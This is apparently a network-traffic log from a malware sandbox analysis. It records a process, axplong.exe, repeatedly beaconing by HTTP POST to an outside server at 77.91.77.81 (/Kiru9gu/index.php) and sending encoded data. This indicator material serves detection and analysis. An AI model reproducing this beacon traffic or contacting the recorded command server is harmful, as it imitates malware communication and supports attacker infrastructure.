Jun 4, 2024 23:09:41.531636953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49748	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:42.117665052 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:42.930561066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:09:42.973803997 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:43.262455940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49749	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:43.496335030 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:44.361330032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:09:44.416095018 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:44.706464052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49752	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:44.969120979 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:45.827384949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49753	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:46.166904926 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:47.022948027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49755	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:47.222863913 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:48.117966890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49756	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:48.166270018 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:49.077670097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	49758	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:49.211045027 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:50.119090080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	49759	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:50.152431965 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:51.066593885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	49760	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:51.367217064 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:52.260282040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:09:52.342473984 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:52.630894899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	49762	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:52.819822073 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:53.723051071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	49763	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:53.792824030 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:54.695775032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	49764	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:54.975963116 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:55.839517117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	49765	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:55.926249027 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:56.807305098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	49766	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:56.951179028 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:57.848535061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	49767	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:57.860755920 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:09:58.773602009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	49768	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:58.896775961 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:59.808847904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:09:59.816440105 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:00.104518890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	49769	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:00.343732119 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:01.498511076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:10:01.500035048 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:01.500232935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:10:02.003319025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 4, 2024 23:10:02.005563974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	49770	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:02.195909023 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:03.081082106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
